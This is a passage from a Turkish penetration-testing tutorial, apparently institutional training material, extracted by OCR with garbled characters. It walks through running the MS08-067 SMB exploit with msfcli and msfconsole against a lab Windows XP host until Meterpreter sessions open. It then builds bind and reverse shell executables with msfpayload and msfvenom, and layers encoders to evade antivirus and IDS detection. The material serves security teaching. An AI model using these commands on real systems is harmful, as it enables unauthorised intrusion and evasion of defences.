(E)xecute moduyla deneyelim.

Kali Linux Terminal:

msfcli exploit/windows/smb/ms08 067 netapi RHOST=172.16.3.120
RPORT=445 PAYLOAD=windows/meterpreter/bind tcp LHOST=172.16.3.118 E
// (E)xecute'un E'si ile modiil calistirilair.

Ciktr:

[*] Please wait while we load the module tree...

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046

eax: 00000001 ebx: £77c8c00 ecx: 00000000 edx: £77£0001

esi: 803bf014 edi: 8023c755 ebp: 80237£f84 esp: 80237£60

ds: 0018 es: 0018 ss: 0018

Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090990909090990909090
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90909090990909090990909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
CCCCCCCCCCCCCCCCCCCCCCCeee
CCCCCCCCCCCCCCCCccCcccecece
CCCCCCCCCa v vt vnnenenennnnn
CCCCCCCCCCCCCCCCccCcccecece
CCCCCCCCCCCCCCCCCCCCCCCCee
................. cceccececcec
CCCCCCCCCCCCCCCCCCCCCCCCee
CCCCCCCCCCCCCCCCccccccecece
B e e e e s e o o o
B e e
B e e e s e o e o o
B s e e
B 5 s
i e e e

Code: 00 00 00 00 M3 T4 SP LO 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
Aiee, Killing Interrupt handler

Kernel panic: Attempted to kill the idle task!

In swapper task - not syncing

Large pentest? List, sort, group, tag and search your hosts and services
in Metasploit Pro -- type 'go pro' to launch it now.

=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ —--— —--=[ 1060 exploits - 659 auxiliary - 178 post
+ —-— --=[ 275 payloads - 28 encoders - 8 nops

RHOST => 172.16.3.120

RPORT => 445

PAYLOAD => windows/meterpreter/bind tcp
LHOST => 172.16.3.118

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:Turkish
[*] Selected Target: Windows XP SP2 Turkish (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 172.16.3.120

[*] Meterpreter session 1 opened (172.16.3.118:49566 ->
172.16.3.120:4444) at 2018-10-21 02:02:11 -0700

meterpreter > e igerdeyiz ))))))

Goruldugu tzere msfcli'l (E)xecute modunda galistirarak msfcli'a arguman olarak verdigimiz
modaullerin belirttigimiz ayarlarda ¢alismasini ve bunun sonucunda hedef sisteme sizilmasini
saglamis olduk.

[!] Uyan

Msfcli tool'u artik tedavilden kalkmistir (deprecated olmustur). Msfcli iglevini yerine getirmek
icin msfconsole ekstradan binyesine tek satirda ¢alisma 6zelligini dahil etmistir. Dolayisiyla
msfconsole tool'unda artik tek satirda modul se¢gme, modul konfigure etme ve ¢esitli aksiyonlar
alma islemlerini -x parametresiyle yapabilmekteyiz. Msfcli'a olan destegin gekilmesiyle msfcli'in
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pabucu dama atilmis durumda. Ancak size msfcli'i gostermemin bir amaci vardi. Ayni igi
alternatif tool'larin nasil yaptiklarini gdstererek sizi linux tool'larina asina kilmak ve linux
dinyasinda ortisen noktalari goérerek Ozimseyebileceginiz kalici bir bilgi sunmakti. En
azindan bu noktada bir nebze katkida bulunmakii.

Simdi tedavilden kalkmig (depreacated olmusg) msfcli tool'u yerine msfconsole'un tek satirda
kullanimini gosterelim. Az 6nce msfcli'da kullandigimiz 6rnegdi bu sefer msfconsole ve -x
parametresine uyarlayalim:

Kali Linux Terminal:

msfconsole -x "use exploit/windows/smb/ms08 067 netapi;
set RHOST 172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/
bind tcp; set LHOST 172.16.3.73; show options"

Goruldagu Uzere -x parametresi argiman olarak msfconsole'u normal baslattigimizda
girdigimiz komutlari almaktadir. msfconsole'u bu haliyle ¢alistirdigimizda asagidaki ¢ikti bizi
kargilayacaktir.

Ciktr:
| |
| 3Kom SuperHack II Logon |
| |
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
| |
| |
| https://metasploit.com |
| |
=[ metasploit v4.16.30-dev ]
+ —-= —--=[ 1722 exploits - 986 auxiliary - 300 post ]
+ -—- --=[ 507 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

RHOST => 172.16.3.120

RPORT => 445

PAYLOAD => windows/meterpreter/bind tcp
LHOST => 172.16.3.73

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi

84



TASNIF DISI Metasploit'i Tanityalim

RHOST 172.16.3.120 yes The target address
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/bind tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)

LPORT 4444 yes The listen port

RHOST 172.16.3.120 no The target address

Exploit target:

Id Name

0 Automatic Targeting

Goruldugu Uzere -x parametresine verdigimiz argimanlarla sectigimiz exploit ve payload'a
tanimladigimiz ayarlar ekrana geldi. Ekrana gelen ¢iktidaki parametre de@erlerini sorunsuz
girdiginizi teyit ettikten sonra -x parametresinin argumanindaki en son msfconsole komutu olan
"show options"I "exploit" ile degistirerek hedef sisteme sizma girisiminde bulunabiliriz.

Kali Linux Terminal:

msfconsole -x "use exploit/windows/smb/ms08 067 netapi; set RHOST
172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/bind tcp;
set LHOST 172.16.3.73; exploit"

Cikti:

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMMMMM
MMMN$ vMMMM
MMMN1  MMMMM MMMMM  JMMMM
MMMN1 ~ MMMMMMMN NMMMMMMM  JMMMM

MMMN1 ~ MMMMMMMMMNmmmNMMMMMMMMM ~ JMMMM
MMMNI ~ MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI ~ MMMMMMMMMMMMMMMMMMMMMMM  §MMMM
MMMNI  MMMMM MMMMMMM MMMMM  jMMMM
MMMNI  MMMMM MMMMMMM MMMMM  jMMMM
MMMNI  MMMNM MMMMMMM MMMMM  jMMMM
MMMNI ~ WMMMM MMMMMMM MMMM# ~ JMMMM

MMMMR ~ ?MMNM MMMMM . dMMMM
MMMMNm ~ ?MMM MMMM®  dMMMMM
MMMMMMN  ?MM MM?  NMMMMMN
MMMMMMMMNe JMMMMMNMMM
MMMMMMMMMMNmM,, eMMMMMNMMNMM
MMMMNNMNMMMMMN x MMMMMMNMMNMMNM

MMMMMMMMNMMNMMMMm+ . . +MMNMMNMNMMNMMNMM
https://metasploit.com

=[ metasploit v4.16.30-dev
+ - -= 1722 exploits - 986 auxiliary - 300 post
+ -= == 507 payloads - 40 encoders - 10 nops
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

]
]
]
]
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RHOST => 172.16.3.120

RPORT => 445

PAYLOAD => windows/meterpreter/bind tcp

LHOST => 172.16.3.73

[*] Started bind handler

] 172.16.3.120:445 - Automatically detecting the target...

] 172.16.3.120:445 - Fingerprint: Windows XP - Service Pack 2 - lang:Turkish
] 172.16.3.120:445 - Selected Target: Windows XP SP2 Turkish (NX)
] 172.16.3.120:445 - Attempting to trigger the vulnerability...

] Sending stage (179779 bytes) to 172.16.3.120

] Meterpreter session 1 opened (172.16.3.73:45889 ->
2.16.3.120:4444) at 2018-10-22 00:12:51 -0400

meterpreter > (o igerdeyiz ))))
Goruldugu uzere sisteme msfconsole'u tek satirda kullanarak girmis bulunmaktayiz.

b. Msfpayload

Msfpayload, payload derlemeye (olusturmaya) yarayan bir aractir. Normalde metasploit'te bir
exploit secildiginde ve buna bir payload ilave edildiginde bunlari hedef sisteme yollarken
metasploit arkaplanda payload'u derleme iglemini yapmaktadir ve o derlenmis halini hedef
sisteme yollamaktadir.

Not:

Bazi payload'larin kaynak kodlarindan derlenmis haline shellcode adi verilmektedir.
isletim sistemlerinde shell demek igletim sistemi cekirdegiyle birebir etkilesim halinde
oldugunuz, "cd, dir, Is, pwd, uname -a, ..." gibi kodlarin g¢ahstirildigi komut satiri
oturumuna denir. Shellcode demek ise uzak sistemde komut satiri oturumu elde ettiren
kodlara denir.

Msfpayload tool'u metasploitin arkaplanda yaptigi payload derleme islemini sizin manuel
olarak yapabilmenizi saglayan bir araytuz sunar. Bu metoda kimi zaman gerek duyabilirsiniz.
Cunku elinize metasploit framework'de yer almayan bir exploit gegcmis olabilir ve siz hedef
sisteme manuel olarak sizmak isteyebilirsiniz. Bu girisiminizi payload ile tamamlamak igin de
msfpayload gibi payload'lari kaynak kodundan derleyen bir araca ihtiyag duyabilirsiniz.
Derlenmemis bir payload'u oldugu gibi hedef sisteme yollarsaniz hedef sisteme bir tlr proje
kod dosyasi géndermis gibi olursunuz. Sizin hedef sistemde galigabilecedini distindigunuz
bir formatta dosya géndermeniz gerekir ki komut satiri oturumunu elde edebilesiniz. Bu v.b
nedenlerden 6tlrt payload'larin derlenmesi gerekmektedir ve bu is icin msfpayload tool'u
kullanilabilir.

Not:
Windows'taki shell'e CMD (Command Prompt), Linux'takine ise 6érnegin BASH (Bourne
Again Shell) denmektedir.

Msfpayload ile birden fazla gesitte payload derlemesi yapilabilmektedir. Ornegin; C, Perl,
Ruby, Raw, Javascript, Visual Basic Script ve exe bunlardan sadece birkagidir. Payload
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derlemesi ve ciktisini alma konusunda bir konuya aciklik getirmekte fayda var: Payload'u
msfpayload ile hangi formatta derlerseniz derleyin payload her defasinda sadece ama sadece
byte kodlara dénisecektir. Ancak payload'un derlenmis bu byte byte kodlari belirtiginiz ¢ikti
formatindaki bir blodun igerisine yerlestirilecedinden bu kodlar bir ¢ dosyasi igerisinde
calistirilacak sekilde yer alabilir, bir Ruby dosyasi i¢erisinde calistirilacak sekilde yer alabilir ya
da bir Javascript dosyasi igerisinde... Burada degisen tek sey wrapper formatidir. Yani sarici
format. Hedef sistemde calisacagini umdugumuz formati segerek payload'unuzu hedef
sisteme gonderebilirsiniz. Bu konuda biraz daha teknik detay vermek gerekirse
payload'unuzdan donlisen byte kodlari segilen formatin (dilin) syntax'ina uygun bir sekilde bir
degigkene atanacaktir ve bu degigkenin degeri (yani payload'un byte kodlari) kullanilan dilin
standard bir fonksiyonu araciligiyla calistirilacak sekilde ayarlanacaktir. Bu sekilde hedef
sisteme d6rnegin sistem seviyesinde bir sizma girisimi yapiliyorsa sececeginiz Visual Basic
Script formatindaki payload'unuz ile hedef sistemde payload'unuzu c¢alistirabilirsiniz ya da web
uygulama katmaninda bir sizma girisimi yapiyorsaniz Javascript formatindaki payload'unuz ile
hedef sistemde payload'unuzu caligstirabilirsiniz. Bu bahsedilen formatlar sadece birer
payload'unuzu sarici (wrapper) bir igleve sahiptir. Bu sekilde payload'unuzu sizdiginiz
platforma uygun bir sekilde c¢alistirilabilir halde gdnderebilirsiniz. Asagida C dilinde
(formatinda) bir payload wrapper (payload sarici bir sablon) o6rnegi godrmektesiniz:

1 #include <stdio.h>

2

3 const char shellcode[] = "shellcode buraya gelir. Orn; \xfc\xe8\x89\x00\x00
\x00\x60\x89\xe5 ....... ",

4

5 , .
intmain () {

6 (* (void (*) ()) shellcode) ();

7 return 0;

8 }

Bu v.b. payload ciktilari almak igin kullanilabilen msfpayload tool'unun kullanim bigimine simdi
bir gbézatalim.

Msfpayload Kullanim Diziligi (Syntax'i):

1 msfpayload [options] [payload] [parametre=arguman] [ciktiFormati]

msfpayload komutun adi, options msfpayload tool'unun argumanlarini (6rn; -h (yani help), -I
(yani list) gibi), payload payload'un ismini, parametre=arguman segilen payload'un parametre
ve atanacak degerlerini, ciktiFormati ise payload'un hangi dilde wrap edilerek (etraflica
sarilarak) ¢iktilanacagini belirtir. Simdi bir de kullanim érnegini gorelim.

Kali Terminal:
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1 msfpayload -1

Ciktr:

Framework Payloads (275 total)

Name Description

aix/ppc/shell bind tcp Listen for a connection and spawn a command shell
aix/ppc/shell find port Spawn a shell on an established connection
aix/ppc/shell interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell reverse tcp Connect back to attacker and spawn a command shell
bsd/sparc/shell bind tcp Listen for a connection and spawn a command shell
bsd/sparc/shell reverse tcp Connect back to attacker and spawn a command shell
bsd/x86/exec Execute an arbitrary command

bsd/x86/metsvc bind tcp Stub payload for interacting with a Meterpreter
bsd/x86/metsvc_reverse tcp Stub payload for interacting with a Meterpreter
bsd/x86/shell/bind ipv6 tcp Listen for a connection over IPv6, Spawn a command

Belirledigimiz bir payload'un konfigure edilebilecek parametrelerini (ayarlarini) gorelim.

Kali Terminal:

msfpayload windows/shell bind tcp O // Sondaki c¢ikti formati degeri
(O)ptions'in bas harfidir.

Cikti

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process ..
LPORT 4444 yes The listen port

RHOST no The target address

Payload'un konfigure edilebilecek parametrelerine (ayarlarina) degerlerimizi atayalim ve bir
kontrol edelim.

Kali Terminal:

msfpayload windows/shell bind tcp EXITFUNC=thread LPORT=1234

1 RHOST=222.168.33.41 O // (O)ptions'in bas harfi c¢ikti formati olarak
verilmistir

Ciktr:

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process ..
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LPORT 1234 yes The listen port
RHOST 222.168.33.41 no The target address

Gosterilen parametre atamalarinda bir hata yapmadigimizi teyit ettikten sonra payload
ciktilama islemine gecgelim.

Kali Terminal:

msfpayload windows/shell bind tcp EXITFUNC=thread LPORT=1234
RHOST=222.168.33.41 X // Cikti formati olarak exe belirtilmistir.

Ciktr:

((( Kargasik burgasik karakterler ekrana basilir ))

Evet, basarili bir sekilde payload ciktisini almis bulunmaktayiz. Ancak olusturdugumuz
payload'u konsol ekranina basmak yerine bir dosya halinde toplamaliyiz ki hedef sisteme
gonderebilelim. Bu iglem igin linux komut satirinda kullanilabilen > operatort kullanilabilir.

Kali Terminal:

1 msfpayload windows/shell bind tcp EXITFUNC=thread LPORT=1234
RHOST=222.168.33.41 X > virus.exe

2 1s // 1s (list) bulunulan dizindeki dosyalari siralamaya yarar.

Cikti:

Desktop deneme.pdf Documents virus.exe

Artik payload gonderime hazir vaziyettedir. Msfpayload'da EXE gibi baska ¢iktilama formatlari
da mevcuttur. Bunlar;

Cikti Formata Msfpayload'a Konulacak Harfi
[O]lptions

[C] Dili

Cs[H]arp Dili
[Plerl Dili

Ruby[Y] Dili

[Rlaw (Ham) Hal
[Jlavascript Dili
e[X]e Hali

[D]11 Hali

[V]isual Basic Dili
[Wlar Hali

Pytho[N] Dili

Z=<oOX g <KmoImOo
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Boylelikle msfpayload kullanimini goérmus olduk. Bu formatlardan hedef sistemde
calisabilecegini umdugumuzu secip payload'umuzu ona goére hazirlayarak hedefimize
ulasabiliriz.

[!] Uyan

Metasploitin yan tool'u olan msfpayload tipki msfcli gibi artik tedavilden kalkmistir
(deprecated olmustur). Metasploit gelistiricileri yola artik msfvenom tool'u ile devam
etmektedir. Simdi msfpayload ile yaptigimiz islemlerin aynisini bir de msfvenom ile yapalim.
Oncelikle msfvenom kullanim bicimi;

Msfvenom Kullanim Dizilisi (Syntax'):

msfvenom [options] [parametre=arguman] [ciktiFormati] // Msfpayload daki
[options] ve [payload] bodlimleri options 1in icinde toplanmistair.

Simdi seri bir sekilde msfpayload'da yapilan iglemlerin aynisinin msfvenom'daki karsiliklarina
bakalim.

Kali Terminal;
1 msfvenom -1
Cikti:

Framework Payloads (507 total)

Name Description

aix/ppc/shell bind tcp Listen for a connection and spawn a command shell
aix/ppc/shell find port Spawn a shell on an established connection
aix/ppc/shell interact Simply execve /bin/sh (for inetd programs)

aix/ppc/shell reverse tcp Connect back to attacker and spawn a command shell

Framework Encoders

Name Rank Description

cmd/echo good Echo Command Encoder

cmd/generic_sh manual Generic Shell Variable Substitution
Command Encoder

cmd/ifs low Generic ${IFS} Substitution Command
Encoder

cmd/perl normal Perl Command Encoder

cmd/powershell base64 excellent Powershell Base64 Command Encoder

cmd/printf php mg manual printf (1) via PHP magic quotes Utility

Command Encoder
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Framework NOPs (10 total)

Name Description
aarché64/simple Simple NOP generator
armle/simple Simple NOP generator
mipsbe/better Better NOP generator
php/generic Generates harmless padding for PHP scripts
ppc/simple Simple NOP generator
Kali Terminal:

1 msfvenom -p windows/shell bind tcp --payload-options

Not: Eski Kali'lerde (yani msfvenom'un eski versiyonlarinda) payload seceneklerini
gérintilemek icin --payload-options yerine sadece -0 kullaniimaktadir: msfvenom -p

payloadPath/payloadName -0
Cikti:

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process ..
LPORT 4444 yes The listen port

RHOST no The target address

Kali Terminal:

msfvenom -p windows/shell bind tcp EXITFUNC=thread LPORT=1234
RHOST=222.168.33.41 --payload-options

Not: Msfvenom henliz payload'lara atanan degerleri tutarak ekrana yansitma 6zelligine sahip
degildir.

Cikti:

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process ..
LPORT 1234 yes The listen port

RHOST 222.168.33.41 no The target address

Kali Terminal:

1 msfvenom -p windows/shell bind tcp EXITFUNC=seh LPORT=1234
RHOST=222.168.33.41 -a x86 --platform windows -f exe

Cikti:
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(( Ekrana kargasik burgasik karakterler gelir ))

Kali Terminal:
msfvenom -p windows/shell bind tcp EXITFUNC=seh LPORT=1234 RHOST=222.168.33.41
-a x86 —--platform windows -f exe -0 virus.exe

2 1ls

Ciktr:

Desktop deneme.pdf Documents virus.exe

Boylece msfvenom ile tipki msfpayload'da yaptigimiz gibi payload dosyamizi hazir hale
getiririz. Msfvenom'un payload c¢iktilama formatlarindan exe gibi deskteledigi diger formatlar

ise su sekildedir:

Cikti Formatzi

Msfvenom'a Konulma Sekli

ASP Dili asp

ASPX Dili aspx

JSP Dili jsp
Javascript Dili javascript
DLL Hali dll

Exe Hali exe

Msi Hali msi

Jar Hali jar

War Hali war

Bash Dili bash
Powershell Dili powershell
Visual Basic Script Dili vbscript

C Dili c

Csharp Dili csharp
Java Dili java

Bash Dili bash

Perl Dili perl

Ruby Dili ruby
Python Dili

python

Boylelikle msfpayload'un devami niteliginde olan msfvenom'u gérmus olduk.

c. Msfencode

Msfencode bir baska metasploit framework yan araglarindan biridir. Gérevi belirtilen payload'u
encode'lamaktir (kodlamak ve taninmaz hale getirmektir). Bu sayede hedef sisteme
gonderilecek payload'un hedef sistemdeki Firewall, IDS/IPS ya da antivirus yazilimlarca
taninip engellenmesi Onlenebilir. Sayet hedef sistemdeki glvenlik mekanizmasi
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payload'unuzdaki zararl faaliyetleri tanimlayabilirse bloklayacagindan saldiriniz basarisiz
olacaktir.

Msfencode ile payload'larinizi encode'layarak (kodlayarak) taninmaz hale getirebilir,
encode'lama sirasinda olusacak istenmeyen karakterleri silme islemini otomatize bir sekilde
gerceklestirebilir veya 64-bit sistemlere uygun bir encode'lamada bulunabilirsiniz. Msfencode
ile bir payload'u Ust Uste defalarca ayni ya da farklh encode'lama teknikleriyle
encode'layabilirsiniz.

Metasploit Framework arayizi msfconsole'da bir exploit secip Uzerine payload ilave
ettiginizde ve hedef sisteme exploit komutuyla génderdiginizde msfconsole arkaplanda
payload'unuzu hedef sisteme gore basari sansi en ylksek encoder'la kodlamaktadir.

Msfencode ise size payload'u encode'lama isini manuel yapmaniza olanak saglayan bir arayuz
sunar. Msfencode aracinin kullanim bigimi su sekildedir:

Kullanim Diziligi (Syntax'i) :

1 msfencode [options]

msfencode komutun adi, options msfencode tool'unun parametre ve degerlerini alir.

Msfencode'un kullanabilecegi yikli encoder'lari (kodlayicilari) listelemek icin -I parametresi
kullanilir.

Kali Linux Terminal:

1 msfencode -1

Cikti:

Framework Encoders

Name Rank Description

cmd/generic_sh good Generic Shell Variable Substitution
Command Encoder

cmd/ifs low Generic ${IFS} Substitution Command

cmd/printf php mg manual printf (1) via PHP magic_quotes

generic/none normal The "none" Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 Encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_ tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/x0r normal XOR Encoder

x86/alpha mixed low Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid underscore manual Avoid underscore/tolower

x86/avoid utf8 tolower manual Avoid UTF8/tolower

x86/call4d dword xor normal Call+4 Dword XOR Encoder

x86/context cpuid manual CPUID-based Context Keyed Payload
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x86/context stat manual stat (2) -based Context Keyed Payload
x86/context_time manual time (2) -based Context Keyed Payload
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR
x86/jmp call additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata ga nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single static bit manual Single Static Bit

x86/unicode mixed manual Alpha2 Alphanumeric Unicode Mixedcase
x86/unicode upper manual Alpha2 Alphanumeric Unicode

Msfpayload ile olusturulan bir payload'u msfencode ile encode'lama drnegi asagida verilmistir.

Kali Linux Terminal:

msfpayload windows/meterpreter/reverse tcp LHOST=192.168.2.2
LPORT=4443 R | msfencode -e x86/shikata ga nai -t exe -o
/root/Desktop/payload.exe

Cikti:

[*] x86/shikata ga nai succeeded with size 317 (iteration=1)

Yukaridaki kod satirini anlamlandiracak olursak 6nce msfpayload araci meterpreter
payload'unu Raw formatinda olusturur. Ardindan bir linux komut satiri operatérii olan | (yani
pipe (boru)) ile soldaki komutun ciktisi sagdaki komuta gonderilir. Sagdaki komut olan
msfencode, -e parametresiyle (e)ncode metodunun ismini (6rn; shikata_ga_nai'yi) alir, -t
parametresi ile encoding islemi sonrasi taninmaz payload dosyasinin ¢ikti formatinin ne
olacag bilgisini alir, son olarak -o parametresi ile de ¢ikti dosyasinin ismini alir. Boylece
olusturdugumuz payload'u encode'lanmis bir sekilde elde etmis oluruz.

Peki, yukaridaki 6rnekte msfpayload ile olusturdugumuz payload'umuzu bir defaya mahsus bir
sekilde encode'lamaya tabi tuttuk. Olusturulan bu payload'u birden fazla encoder ile Ust Uste
kodlamak isteyeseydik ne yapardik? Hemen o 6rnege bir gézatalim.

Kali Linux Terminal:

msfpayload windows/meterpreter/reverse tcp LHOST=192.168.2.2 LPORT=4443
R | msfencode -e x86/shikata ga nai -t raw | msfencode -e x86/alpha

1 . .
upper -t raw | msfencode -e x86/shikata ga nai -t raw | msfencode -e
x86/countdown -t exe -o payload.exe

Ciktr:

[*] x86/shikata ga nai succeeded with size 317 (iteration=1)

[*] x86/alpha upper succeeded with size 701 (iteration=1)

[*] x86/shikata ga nai succeeded with size 728 (iteration=1)

[*]

x86/countdown succeeded with size 746 (iteration=1)
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Yukaridaki kodlamada dnce msfpayload ile payload'umuzu olusturduk. Sonra | (pipe)
operatoru ile payload'umuzun content'ini (igerigini) | operatérinin sagindaki msfencode'a
gonderdik. Msfencode bu payload igerigini shikata_ga_nai ile encode'ladi ve Raw formatinda
bir ¢ikti sundu. Bu c¢ikti yine | (pipe) operatori ile sagdaki diger msfencode'a gecti. Bu
msfencode gelen payload icerigini alpha_upper ile encode'ladi. Bir sonraki msfencode bir
onceki msfencode'un Urettigi ¢iktiyr alip shikata _ga_nai ile encode'lama yapti. Son olarak bu
ciktiyr alan dérdinci msfencode countdown ile gelen payload icerigini encode'ladi. Sonug
olarak Ust Uste encoding metodlariyla bir payload'u encode'lamis ve taninmaz hale getirmis
olduk.

Olusturulan bir payload'u ayni encoding metoduyla st Uste encode'lamak istersek yukaridaki
ornekte yer alan msfencode'lara ayni encoder ismini vermek yeterlidir. Bunun yerine daha
pratik bir ¢dziim de kullanabilirsiniz:

Kali Linux Terminal:

msfpayload windows/meterpreter/reverse tcp LHOST=192.168.2.2
LPORT=4443 R | msfencode -e x86/shikata ga nai-c 5 -t exe
-0 payload.exe

Cikti:

[*] x86/shikata ga nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata ga nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] (

x86/shikata ga nai succeeded with size 425 (iteration=5)

-c parametresi ile ayni encoding (kodlama) metodunun ka¢ kez tekrarlanacadi sayisi
belirtilebilir. Bu, bir nevi iterasyon sayisini temsil eder. Bu gekilde yukaridaki 6érnekte -c 5 ile
ayni encoding metodu 5 kez Ust Uste payload'u kodlamig oldu.

Son olarak hem birden fazla encoder ile kodlama hem de bu encoder'larin her birini defalarca
tekrarlama ornegini gosterelim.

Kali Linux Terminal:

msfpayload windows/meterpreter/reverse tcp LHOST=192.168.2.2 LPORT=4443

1 R | msfencode -e x86/shikata ga nai-c 5 -t raw | msfencode -e x86/alpha
upper -¢ 2 -t raw | msfencode -e x86/shikata ga nai-c 5 -t raw |
msfencode -e x86/countdown -c¢ 5 -t exe -o payload.exe

Cikti:

x86/shikata_ga nai succeeded with size 317 (iteration=1)
x86/shikata ga nai succeeded with size 344 (iteration=2)
x86/shikata_ga nai succeeded with size 371 (iteration=3)
x86/shikata ga nai succeeded with size 398 (iteration=4)
x86/shikata_ga nai succeeded with size 425 (iteration=5)
x86/alpha upper succeeded with size 919 (iteration=1)
x86/alpha upper succeeded with size 1907 (iteration=2)
x86/shikata ga nai succeeded with size 1936 (iteration=1)

% X X X ok % %
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x86/shikata ga nai succeeded with size 1965 (iteration=2)
x86/shikata_ga_nai succeeded with size 1994 (iteration=3)
x86/shikata_ga_nai succeeded with size 2023 (iteration=4)
x86/countdown succeeded with size 2041 (iteration=1)
x86/countdown succeeded with size 2059 (iteration=2)
x86/countdown succeeded with size 2077 (iteration=3)

* % X ok ok %

Msfencode encode'lama islemi sonrasi exe gibi farkli ¢ikti formatlarinda da c¢ikti alinabilir.
Bunlar;

Cikti Formatzi Msfencode'a Konulma Sekli
ASP Dili asp
ASPX Dili aspx
DLL Hali dll
Exe Hali exe
War Hali war
Bash Dili bash
Visual Basic Script Dili vbs
C Dili c
Java Dili java
Perl Dili perl

Ruby Dili ruby

Boylelikle msfencode ile olusturdugumuz payload'lari nasil antivirus tarzi guvenlik
mekanizmalarinca taninmaz hale getirebilecegimize dair bir fikir edinmis olduk.

['] Uyan

Metasploit'in yan tool'u olan msfencode tipki msfpayload gibi artik tedavilden kalkmistir
(deprecated olmustur). Metasploit gelistiricileri yola artik msfvenom tool'u ile devam
etmektedir. Msfvenom; Msfpayload + Msfencode 'un yeteneklerinin birlestirildigi yeni bir
aractir. Simdi msfpayload ve msfencode'la yaptigimiz encode'lama o6rneklerini bir de
msfvenom ile yapalim. Oncelikle msfvenom kullanim bigimi;

Msfvenom Kullanim Diziligi (Syntax'i):

msfvenom [options] [parametre=arguman] [ciktiFormati] // Msfpayload
[options] ve [payload] options in i¢ine alinmistir.

Az 6nce msfpayload + msfencode ile yaptigimiz payload olustur ve encode'la islemini simdi
bir de msfvenom'daki karsiligini seri bir sekilde gosterelim.

Msfvenom'un kullanabilecegi yukli moduller siralanir.

Kali Linux Terminal:

daki
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1 msfvenom -1

Ciktr:

Framework Payloads (507 total)

Name Description

Listen for a connection and spawn a command shell
aix/ppc/shell find port Spawn a shell on an established connection
aix/ppc/shell interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell reverse tcp Connect back to attacker and spawn a command shell

aix/ppc/shell bind tcp

Framework Encoders

aarché64/simple

Name Rank Description

cmd/echo good Echo Command Encoder

cmd/generic_sh manual Generic Shell Variable Substitution

cmd/ifs low Generic ${IFS} Substitution Command

cmd/perl normal Perl Command Encoder

cmd/powershell base64 excellent Powershell Base64 Command

cmd/printf php mg manual printf (1) via PHP magic quotes Utility
Framework NOPs (10 total)

Name Description

Simple NOP generator

armle/simple Simple NOP generator
mipsbe/better Better NOP generator
php/generic Generates harmless padding for PHP scripts
ppc/simple Simple NOP generator

Eder sadece mevcut payload'lari siralamak istiyorsak msfvenom -l payloads, sadece
encoder'lar siralamak istiyorsak msfvenom -l encoders ve sadece nop'lari siralamak istiyorsak
msfvenom -l nops kullanilabilir. Simdi payload segelim, ayarlarini girelim, olustur diyelim ve
encode'layalim.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18 LPORT=1234
-a x86 --platform windows -e x86/shikata ga nai -f exe -o payload.exe

Cikti:

Attemting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata_ga nai succeeded with size 360 (iteration=0)
x86/shikata ga nai chosen with final size 360

Payload size: 360 bytes

Final size of exe file: 73802 bytes
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Saved as payload.exe

Yine payload olusturalim, ardindan ayni encoder'' birden fazla kez kullanalim.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18 LPORT=1234

-a x86 --platform windows -e x86/shikata ga nai -f exe | msfvenom
--platform windows -e x86/shikata ga nai-f exe | msfvenom -a x86
--platform windows -e x86/shikata ga nai-f exe | msfvenom
--platform windows -e x86/shikata ga nai -f exe -o payload.exe

Ciktr:

Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata ga nai chosen with final size 360

Payload size: 360 bytes

Final size of exe file: 73802 bytes

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata ga nai succeeded with size 73831 (iteration=0)
x86/shikata _ga nai chosen with final size 73831

Payload size: 73831 bytes

Final size of exe file: 148992 bytes

Found 1 compatible encoders

